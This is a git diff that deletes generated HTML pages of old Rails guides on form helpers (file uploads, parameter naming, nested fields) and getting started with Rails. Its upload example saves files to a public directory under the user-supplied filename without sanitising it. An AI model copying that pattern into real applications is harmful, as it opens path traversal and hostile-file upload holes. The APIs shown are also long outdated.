-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> upload
- uploaded_io <span style="color: #990000">=</span> params<span style="color: #990000">[:</span>person<span style="color: #990000">][:</span>picture<span style="color: #990000">]</span>
- File<span style="color: #990000">.</span>open<span style="color: #990000">(</span>Rails<span style="color: #990000">.</span>root<span style="color: #990000">.</span>join<span style="color: #990000">(</span><span style="color: #FF0000">'public'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'uploads'</span><span style="color: #990000">,</span> uploaded_io<span style="color: #990000">.</span>original_filename<span style="color: #990000">),</span> <span style="color: #FF0000">'w'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>file<span style="color: #990000">|</span>
- file<span style="color: #990000">.</span>write<span style="color: #990000">(</span>uploaded_io<span style="color: #990000">.</span>read<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Once a file has been uploaded there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are <a href="http://github.com/technoweenie/attachment_fu">Attachment-Fu</a> and <a href="http://www.thoughtbot.com/projects/paperclip">Paperclip</a>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If the user has not selected a file the corresponding parameter will be an empty string.</td>
-</tr></table>
-</div>
-<h3 id="_dealing_with_ajax">7.2. Dealing with Ajax</h3>
-<div class="paragraph"><p>Unlike other forms making an asynchronous file upload form is not as simple as replacing <tt>form_for</tt> with <tt>remote_form_for</tt>. With an AJAX form the serialization is done by javascript running inside the browser and since javascript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.</p></div>
-</div>
-<h2 id="_parameter_names">8. Parameter Names</h2>
-<div class="sectionbody">
-<div class="paragraph" id="parameter_names"><p>As you&#8217;ve seen in the previous sections values from forms can appear either at the top level of the params hash or may appear nested in another hash. For example in a standard create
-action for a Person model, <tt>params[:model]</tt> would usually be a hash of all the attributes for the person to create. The params hash can also contain arrays, arrays of hashes and so on.</p></div>
-<div class="paragraph"><p>Fundamentally HTML forms don&#8217;t know about any sort of structured data. All they know about is name-value pairs. Rails tacks some conventions onto parameter names which it uses to express some structure.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">
-<div class="paragraph"><p>You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>ActionController::RequestParser.parse_query_parameters "name=fred&amp;phone=0123456789"
-#=&gt; {"name"=&gt;"fred", "phone"=&gt;"0123456789"}</tt></pre>
-</div></div>
-</td>
-</tr></table>
-</div>
-<h3 id="_basic_structures">8.1. Basic structures</h3>
-<div class="paragraph"><p>The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in the params. For example if a form contains</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input id="person_name" name="person[name]" type="text" value="Henry"/&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>the params hash will contain</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">{</span><span style="color: #FF0000">'person'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'name'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Henry'</span><span style="color: #FF0000">}}</span></tt></pre></div></div>
-<div class="paragraph"><p>and <tt>params["name"]</tt> will retrieve the submitted value in the controller.</p></div>
-<div class="paragraph"><p>Hashes can be nested as many levels as required, for example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input id="person_address_city" name="person[address][city]" type="text" value="New York"/&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>will result in the params hash being</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">{</span><span style="color: #FF0000">'person'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'address'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'city'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'New York'</span><span style="color: #FF0000">}}}</span></tt></pre></div></div>
-<div class="paragraph"><p>Normally Rails ignores duplicate parameter names. If the parameter name contains [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, your could place this in the form:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input name="person[phone_number][]" type="text"/&gt;
-&lt;input name="person[phone_number][]" type="text"/&gt;
-&lt;input name="person[phone_number][]" type="text"/&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This would result in <tt>params[:person][:phone_number]</tt> being an array.</p></div>
-<h3 id="_combining_them">8.2. Combining them</h3>
-<div class="paragraph"><p>We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input name="addresses[][line1]" type="text"/&gt;
-&lt;input name="addresses[][line2]" type="text"/&gt;
-&lt;input name="addresses[][city]" type="text"/&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This would result in <tt>params[:addresses]</tt> being an array of hashes with keys <tt>line1</tt>, <tt>line2</tt> and <tt>city</tt>. Rails decides to start accumulating values in a new hash whenever it encounters a input name that already exists in the current hash.</p></div>
-<div class="paragraph"><p>The one restriction is that although hashes can be nested arbitrarily deep then can be only one level of "arrayness". Frequently arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Array parameters do not play well with the <tt>check_box</tt> helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The <tt>check_box</tt> helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted. If the checkbox is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new hash. It is preferable to either use <tt>check_box_tag</tt> or to use hashes instead of arrays.</td>
-</tr></table>
-</div>
-<h3 id="_using_form_helpers">8.3. Using form helpers</h3>
-<div class="paragraph"><p>The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as <tt>text_field_tag</tt> Rails also provides higher level support. The two tools at your disposal here are the name parameter to <tt>form_for</tt>/<tt>fields_for</tt> and the <tt>:index</tt> option.</p></div>
-<div class="paragraph"><p>You might want to render a form with a set of edit fields for each of a person&#8217;s addresses. Something a little like this will do the trick</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_for @person do |person_form| %&gt;
- &lt;%= person_form.text_field :name%&gt;
- &lt;% for address in @person.addresses %&gt;
- &lt;% person_form.fields_for address, :index =&gt; address do |address_form|%&gt;
- &lt;%= address_form.text_field :city %&gt;
- &lt;% end %&gt;
- &lt;% end %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Assuming our person had two addresses, with ids 23 and 45 this would create output similar to this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;form action="/people/1" class="edit_person" id="edit_person_1" method="post"&gt;
- &lt;input id="person_name" name="person[name]" size="30" type="text" /&gt;
- &lt;input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" /&gt;
- &lt;input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This will result in a params hash that looks like</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">{</span><span style="color: #FF0000">'person'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'name'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Bob'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'address'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">'23'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'city'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Paris'</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">'45'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'city'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'London'</span><span style="color: #FF0000">}</span> <span style="color: #FF0000">}}}</span></tt></pre></div></div>
-<div class="paragraph"><p>Rails knows that all these inputs should be part of the person hash because you called <tt>fields_for</tt> on the first form builder. By specifying an <tt>:index</tt> option you&#8217;re telling rails that instead of naming the inputs <tt>person[address][city]</tt> it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call <tt>to_param</tt> on it, which by default returns the database id. This is often useful it is then easy to locate which Address record should be modified but you could pass numbers with some other significance, strings or even nil (which will result in an array parameter being created).</p></div>
-<div class="paragraph"><p>To create more intricate nestings, you can specify the first part of the input name (<tt>person[address]</tt> in the previous example) explicitly, for example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% fields_for 'person[address][primary]', address, :index =&gt; address do |address_form| %&gt;
- &lt;%= address_form.text_field :city %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>will create inputs like</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" /&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>As a general rule the final input name is the concatenation of the name given to <tt>fields_for</tt>/<tt>form_for</tt>, the index value and the name of the attribute. You can also pass an <tt>:index</tt> option directly to helpers such as <tt>text_field</tt>, but usually it is less repetitive to specify this at the form builder level rather than on individual input controls.</p></div>
-<div class="paragraph"><p>As a shortcut you can append [] to the name and omit the <tt>:index</tt> option. This is the same as specifing <tt>:index =&gt; address</tt> so</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% fields_for 'person[address][primary][]', address do |address_form| %&gt;
- &lt;%= address_form.text_field :city %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>produces exactly the same output as the previous example.</p></div>
-</div>
-<h2 id="_complex_forms">9. Complex forms</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Many apps grow beyond simple forms editing a single object. For example when creating a Person instance you might want to allow the user to (on the same form) create multiple address records (home, work etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Ryan Bates' series of railscasts on <a href="http://railscasts.com/episodes/75">complex forms</a>
-</p>
-</li>
-<li>
-<p>
-Handle Multiple Models in One Form from <a href="http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf">Advanced Rails Recipes</a>
-</p>
-</li>
-<li>
-<p>
-Eloy Duran&#8217;s <a href="http://github.com/alloy/complex-form-examples/tree/alloy-nested_params">nested_params</a> plugin
-</p>
-</li>
-<li>
-<p>
-Lance Ivy&#8217;s <a href="http://github.com/cainlevy/nested_assignment/tree/master">nested_assignment</a> plugin and <a href="http://github.com/cainlevy/complex-form-examples/tree/cainlevy">sample application</a>
-</p>
-</li>
-<li>
-<p>
-James Golick&#8217;s <a href="http://github.com/giraffesoft/attribute_fu/tree">attribute_fu</a> plugin
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">10. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1">Lighthouse ticket</a></p></div>
-<div class="ulist"><div class="title">Authors</div><ul>
-<li>
-<p>
-Mislav Marohnić &lt;<a href="mailto:mislav.marohnic@gmail.com">mislav.marohnic@gmail.com</a>&gt;
-</p>
-</li>
-<li>
-<p>
-<a href="../authors.html#fcheung">Frederick Cheung</a>
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/getting_started_with_rails.html b/railties/doc/guides/html/getting_started_with_rails.html
deleted file mode 100644
index a79d9903aa..0000000000
--- a/railties/doc/guides/html/getting_started_with_rails.html
+++ /dev/null
@@ -1,1744 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Getting Started With Rails</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_this_guide_assumes">This Guide Assumes</a>
- </li>
- <li>
- <a href="#_what_is_rails">What is Rails?</a>
- <ul>
-
- <li><a href="#_the_mvc_architecture">The MVC Architecture</a></li>
-
- <li><a href="#_the_components_of_rails">The Components of Rails</a></li>
-
- <li><a href="#_rest">REST</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_creating_a_new_rails_project">Creating a New Rails Project</a>
- <ul>
-
- <li><a href="#_installing_rails">Installing Rails</a></li>
-
- <li><a href="#_creating_the_blog_application">Creating the Blog Application</a></li>
-
- <li><a href="#_configuring_a_database">Configuring a Database</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_hello_rails">Hello, Rails!</a>
- <ul>
-
- <li><a href="#_starting_up_the_web_server">Starting up the Web Server</a></li>
-
- <li><a href="#_setting_the_application_home_page">Setting the Application Home Page</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_getting_up_and_running_quickly_with_scaffolding">Getting Up and Running Quickly With Scaffolding</a>
- </li>
- <li>
- <a href="#_creating_a_resource">Creating a Resource</a>
- <ul>
-
- <li><a href="#_running_a_migration">Running a Migration</a></li>
-
- <li><a href="#_adding_a_link">Adding a Link</a></li>
-
- <li><a href="#_working_with_posts_in_the_browser">Working with Posts in the Browser</a></li>
-
- <li><a href="#_the_model">The Model</a></li>
-
- <li><a href="#_adding_some_validation">Adding Some Validation</a></li>
-
- <li><a href="#_using_the_console">Using the Console</a></li>
-
- <li><a href="#_listing_all_posts">Listing All Posts</a></li>
-
- <li><a href="#_customizing_the_layout">Customizing the Layout</a></li>
-
- <li><a href="#_creating_new_posts">Creating New Posts</a></li>
-
- <li><a href="#_showing_an_individual_post">Showing an Individual Post</a></li>
-
- <li><a href="#_editing_posts">Editing Posts</a></li>
-
- <li><a href="#_destroying_a_post">Destroying a Post</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_drying_up_the_code">DRYing up the Code</a>
- <ul>
-
- <li><a href="#_using_partials_to_eliminate_view_duplication">Using Partials to Eliminate View Duplication</a></li>
-
- <li><a href="#_using_filters_to_eliminate_controller_duplication">Using Filters to Eliminate Controller Duplication</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_adding_a_second_model">Adding a Second Model</a>
- <ul>
-
- <li><a href="#_generating_a_model">Generating a Model</a></li>
-
- <li><a href="#_associating_models">Associating Models</a></li>
-
- <li><a href="#_adding_a_route">Adding a Route</a></li>
-
- <li><a href="#_generating_a_controller">Generating a Controller</a></li>
-
- <li><a href="#_building_views">Building Views</a></li>
-
- <li><a href="#_hooking_comments_to_posts">Hooking Comments to Posts</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_what_8217_s_next">What&#8217;s Next?</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Getting Started With Rails</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Installing Rails, creating a new Rails application, and connecting your application to a database
-</p>
-</li>
-<li>
-<p>
-The general layout of a Rails application
-</p>
-</li>
-<li>
-<p>
-The basic principles of MVC (Model, View Controller) and RESTful design
-</p>
-</li>
-<li>
-<p>
-How to quickly generate the starting pieces of a Rails application.
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_this_guide_assumes">1. This Guide Assumes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The <a href="http://www.ruby-lang.org/en/downloads/">Ruby</a> language
-</p>
-</li>
-<li>
-<p>
-The <a href="http://rubyforge.org/frs/?group_id=126">RubyGems</a> packaging system
-</p>
-</li>
-<li>
-<p>
-A working installation of <a href="http://www.sqlite.org/">SQLite</a> (preferred), <a href="http://www.mysql.com/">MySQL</a>, or <a href="http://www.postgresql.org/">PostgreSQL</a>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>It is highly recommended that you <strong>familiarize yourself with Ruby before diving into Rails</strong>. You will find it much easier to follow what&#8217;s going on with a Rails application if you understand basic Ruby syntax. Rails isn&#8217;t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://www.humblelittlerubybook.com/">Mr. Neigborly’s Humble Little Ruby Book</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.rubycentral.com/book/">Programming Ruby</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://poignantguide.net/ruby/">Why&#8217;s (Poignant) Guide to Ruby</a>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_what_is_rails">2. What is Rails?</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.</p></div>
-<div class="paragraph"><p>Rails is <em>opinionated software</em>. That is, it assumes that there is a best way to do things, and it&#8217;s designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you&#8217;ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.</p></div>
-<div class="paragraph"><p>The Rails philosophy includes several guiding principles:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-DRY - "Don&#8217;t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-</p>
-</li>
-<li>
-<p>
-Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you&#8217;re going to do it, rather than letting you tweak every little thing through endless configuration files.
-</p>
-</li>
-<li>
-<p>
-REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
-</p>
-</li>
-</ul></div>
-<h3 id="_the_mvc_architecture">2.1. The MVC Architecture</h3>
-<div class="paragraph"><p>Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Isolation of business logic from the user interface
-</p>
-</li>
-<li>
-<p>
-Ease of keeping code DRY
-</p>
-</li>
-<li>
-<p>
-Making it clear where different types of code belong for easier maintenance
-</p>
-</li>
-</ul></div>
-<h4 id="_models">2.1.1. Models</h4>
-<div class="paragraph"><p>A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application&#8217;s business logic will be concentrated in the models.</p></div>
-<h4 id="_views">2.1.2. Views</h4>
-<div class="paragraph"><p>Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.</p></div>
-<h4 id="_controllers">2.1.3. Controllers</h4>
-<div class="paragraph"><p>Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.</p></div>
-<h3 id="_the_components_of_rails">2.2. The Components of Rails</h3>
-<div class="paragraph"><p>Rails provides a full stack of components for creating web applications, including:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Action Controller
-</p>
-</li>
-<li>
-<p>
-Action View
-</p>
-</li>
-<li>
-<p>
-Active Record
-</p>
-</li>
-<li>
-<p>
-Action Mailer
-</p>
-</li>
-<li>
-<p>
-Active Resource
-</p>
-</li>
-<li>
-<p>
-Railties
-</p>
-</li>
-<li>
-<p>
-Active Support
-</p>
-</li>
-</ul></div>
-<h4 id="_action_controller">2.2.1. Action Controller</h4>
-<div class="paragraph"><p>Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.</p></div>
-<h4 id="_action_view">2.2.2. Action View</h4>
-<div class="paragraph"><p>Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.</p></div>
-<h4 id="_active_record">2.2.3. Active Record</h4>
-<div class="paragraph"><p>Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.</p></div>
-<h4 id="_action_mailer">2.2.4. Action Mailer</h4>
-<div class="paragraph"><p>Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.</p></div>
-<h4 id="_active_resource">2.2.5. Active Resource</h4>
-<div class="paragraph"><p>Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.</p></div>
-<h4 id="_railties">2.2.6. Railties</h4>
-<div class="paragraph"><p>Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.</p></div>
-<h4 id="_active_support">2.2.7. Active Support</h4>
-<div class="paragraph"><p>Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.</p></div>
-<h3 id="_rest">2.3. REST</h3>
-<div class="paragraph"><p>The foundation of the RESTful architecture is generally considered to be Roy Fielding&#8217;s doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-</p>
-</li>
-<li>
-<p>
-Transferring representations of the state of that resource between system components.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>For example, to a Rails application a request such as this:</p></div>
-<div class="paragraph"><p><tt>DELETE /photos/17</tt></p></div>
-<div class="paragraph"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
-<div class="paragraph"><p>If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://www.infoq.com/articles/rest-introduction">A Brief Introduction to REST</a> by Stefan Tilkov
-</p>
-</li>
-<li>
-<p>
-<a href="http://bitworking.org/news/373/An-Introduction-to-REST">An Introduction to REST</a> (video tutorial) by Joe Gregorio
-</p>
-</li>
-<li>
-<p>
-<a href="http://en.wikipedia.org/wiki/Representational_State_Transfer">Representational State Transfer</a> article in Wikipedia
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_creating_a_new_rails_project">3. Creating a New Rails Project</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you follow this guide, you&#8217;ll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.</p></div>
-<h3 id="_installing_rails">3.1. Installing Rails</h3>
-<div class="paragraph"><p>In most cases, the easiest way to install Rails is to take advantage of RubyGems:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ gem install rails</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">There are some special circumstances in which you might want to use an alternate installation strategy:</td>
-</tr></table>
-</div>
-<div class="ulist"><ul>
-<li>
-<p>
-If you&#8217;re working on Windows, you may find it easier to install <a href="http://instantrails.rubyforge.org/wiki/wiki.pl">Instant Rails</a>. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
-</p>
-</li>
-<li>
-<p>
-If you want to keep up with cutting-edge changes to Rails, you&#8217;ll want to clone the <a href="http://github.com/rails/rails/tree/master">Rails source code</a> from github. This is not recommended as an option for beginners, though.
-</p>
-</li>
-</ul></div>
-<h3 id="_creating_the_blog_application">3.2. Creating the Blog Application</h3>
-<div class="paragraph"><p>Open a terminal, navigate to a folder where you have rights to create files, and type:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog</tt></pre></div></div>
-<div class="paragraph"><p>This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog -d mysql</tt></pre></div></div>
-<div class="paragraph"><p>And if you&#8217;re using PostgreSQL for data storage, run this command:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog -d postgresql</tt></pre></div></div>
-<div class="paragraph"><p>After you create the blog application, switch to its folder to continue work directly in that application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ cd blog</tt></pre></div></div>
-<div class="paragraph"><p>In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here&#8217;s a basic rundown on the function of each folder that Rails creates in a new application by default:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">File/Folder </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table"><tt>README</tt></p></td>
-<td align="left"><p class="table">This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>Rakefile</tt></p></td>
-<td align="left"><p class="table">This file contains batch jobs that can be run from the terminal.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>app/</tt></p></td>
-<td align="left"><p class="table">Contains the controllers, models, and views for your application. You&#8217;ll focus on this folder for the remainder of this guide.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>config/</tt></p></td>
-<td align="left"><p class="table">Configure your application&#8217;s runtime rules, routes, database, and more.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>db/</tt></p></td>
